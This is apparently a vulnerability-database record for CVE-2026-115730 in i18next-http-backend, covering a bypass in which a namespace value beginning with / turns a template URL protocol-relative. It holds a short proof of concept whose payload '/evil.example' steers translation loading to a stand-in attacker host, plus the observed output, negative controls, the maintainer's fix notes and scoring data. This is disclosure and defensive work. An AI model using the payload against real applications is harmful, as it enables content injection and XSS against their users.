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Response snapshot Oct 29, 2026, 02:31 UTC

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VulnerabilityCVE-2026-115730

i18next-http-backend: Namespace value starting with / forms a protocol-relative URL when loadPath/addPath places {{ns}} right after a / (bypass of the // check added for GHSA-xvq9-wjp8-hwqf)

Verified on 4.0.2 (latest on npm) and on commit 07e0288 (the GHSA-xvq9-wjp8-hwqf fix). Earlier 3.x/4.x versions that allow / in ns are likely affected too. Not verified on them.

At a glance

Exploited
Not known
Severity
3.1 Low (CVSS 3.1)
Chance of exploitation
0.2% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: i18next-http-backend: 4.0.3. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-9jhj-wvmw-cfx5 (opens a new tab)

What happened

Affected versions

Verified on 4.0.2 (latest on npm) and on commit 07e0288 (the GHSA-xvq9-wjp8-hwqf fix). Earlier 3.x/4.x versions that allow / in ns are likely affected too. Not verified on them.

Impact

Same class as GHSA-xvq9-wjp8-hwqf and GHSA-q89c-q3h5-w34g: when an attacker controls the namespace value, the request goes to an attacker-chosen origin. In a browser this loads attacker-controlled translation JSON (content injection into the UI, and XSS where translations are rendered as HTML). The precondition is a template with {{ns}} right after a leading /, for example /{{ns}}/{{lng}}.json. The 4.0.

Continue reading

2 maintainer note says templates with a leading / are safe. This case is outside that statement.

Root cause

isSafeNsUrlSegment rejects any ns containing //, but allows a single leading / (needed for nested namespaces like a/b). Interpolation into /{{ns}}/... puts the template's own / next to the value's /. The result starts with //, which is a protocol-relative URL. The check runs on the value, not on the final URL.

Minimal PoC

import Backend from 'i18next-http-backend'
const b = new Backend(null, { loadPath: '/{{ns}}/{{lng}}.json',
 request: (opts, url, payload, cb) => { console.log(url, '->', new URL(url, 'https://app.example/').origin); cb(null, { status: 200, data: '{}' }) } })
b.read('en', '/evil.example', () => {})

Observed on 4.0.2:

POC ns=/evil.example loadPath=/{{ns}}/{{lng}}.json => url=//evil.example/en.json origin in page https://app.example/ = https://evil.example

Negative controls (same run)

- ns //evil.example: rejected ("unsafe lng/ns value"). - lng http:127.0.0.1:9 (the GHSA-xvq9 payload): rejected. - ns common and nested ns a/b: common/en.json and a/b/en.json, same origin.

Suggested fix

Validate the final interpolated URL, not just the values: reject it if it starts with // or \, or if it has a scheme or host the template did not have. The advisory already recommends this ("parse the final URL and require it to remain within the intended origin and path"). Alternatively, reject an ns that starts with /.

Disclosure

We intend to keep this private for 90 days from the date of the report, or until a fixed release is available, whichever comes first, and are happy to adjust if you need more time.

Re-verification

Re-run on 2026-10-14 against the same latest release. The PoC still reproduces and the negative controls still hold.

Reported by Zachariah Mithani.

Maintainer note

Confirmed and fixed in 4.0.3 (commit i18next/i18next-http-backend@042c3d4).

Preconditions. The loadPath / addPath template must put {{ns}} directly after a leading / (for example /{{ns}}/{{lng}}.json), and the attacker must control the namespace value. Applications usually set namespaces in code rather than from user input. The default /locales/{{lng}}/{{ns}}.json, templates with an origin, and templates with a fixed path segment before {{ns}} are not affected.

Only browsers are affected: in Node, fetch('//host/...') fails because there is no base URL to resolve against. XSS additionally requires the application to render translations as HTML.

Fix. The 4.0.2 // check looked at each value on its own and could not see the / the template puts in front of it. interpolateUrl now also checks the interpolated URL: it may only start with // or \ if the template itself does. Protocol-relative CDN templates such as //cdn.example/{{lng}}/{{ns}}.json keep working.

Affected range. Versions before 3.0.5 had no value validation at all and are reachable through this vector too, so the affected range is < 4.0.3.

Related. i18next-fs-backend had the same class of problem for file paths (a leading / in ns, or C: in lng, changing the root of a path built from a template that starts with the placeholder). It is fixed in i18next-fs-backend 2.6.9.

Affected package ranges reported by GitHub: i18next-http-backend: < 4.0.3

Scores and how they were measured

CVSS base severity

3.1

Version 3.1As of

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.2%

Scored Percentile 12.1%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-9jhj-wvmw-cfx5 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-9jhj-wvmw-cfx5, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-115730, scored 2026-10-28. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 29). i18next-http-backend: Namespace value starting with / forms a protocol-relative URL when loadPath/addPath places {{ns}} right after a / (bypass of the // check added for GHSA-xvq9-wjp8-hwqf) (CVE-2026-115730). https://kevwire.com/record/CVE-2026-115730

MLA

"i18next-http-backend: Namespace value starting with / forms a protocol-relative URL when loadPath/addPath places {{ns}} right after a / (bypass of the // check added for GHSA-xvq9-wjp8-hwqf) (CVE-2026-115730)." KEVWire, 29 Oct. 2026, kevwire.com/record/CVE-2026-115730.

Chicago

KEVWire. "i18next-http-backend: Namespace value starting with / forms a protocol-relative URL when loadPath/addPath places {{ns}} right after a / (bypass of the // check added for GHSA-xvq9-wjp8-hwqf) (CVE-2026-115730)." Last modified October 29, 2026. https://kevwire.com/record/CVE-2026-115730.

Evidence summary (plain text)

i18next-http-backend: Namespace value starting with / forms a protocol-relative URL when loadPath/addPath places {{ns}} right after a / (bypass of the // check added for GHSA-xvq9-wjp8-hwqf) (Oct 28, 2026).
Verified on 4.0.2 (latest on npm) and on commit 07e0288 (the GHSA-xvq9-wjp8-hwqf fix). Earlier 3.x/4.x versions that allow / in ns are likely affected too. Not verified on them.

Same class as GHSA-xvq9-wjp8-hwqf and GHSA-q89c-q3h5-w34g: when an attacker controls the namespace value, the request goes to an attacker-chosen origin. In a browser this loads attacker-controlled translation JSON (content injection into the UI, and XSS where translations are rendered as HTML). The precondition is a template with {{ns}} right after a leading /, for example /{{ns}}/{{lng}}.json.
CVSS 3.1 (version 3.1; evidence as of Oct 29, 2026; https://github.com/advisories/GHSA-9jhj-wvmw-cfx5).
EPSS 0.2% for the following 30 days, scored Oct 28, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115730&date=2026-10-28).
Sources:
GitHub-reviewed advisory GHSA-9jhj-wvmw-cfx5: https://github.com/advisories/GHSA-9jhj-wvmw-cfx5
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115730&date=2026-10-28
Record ID: CVE-2026-115730.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 29, 2026, 02:16 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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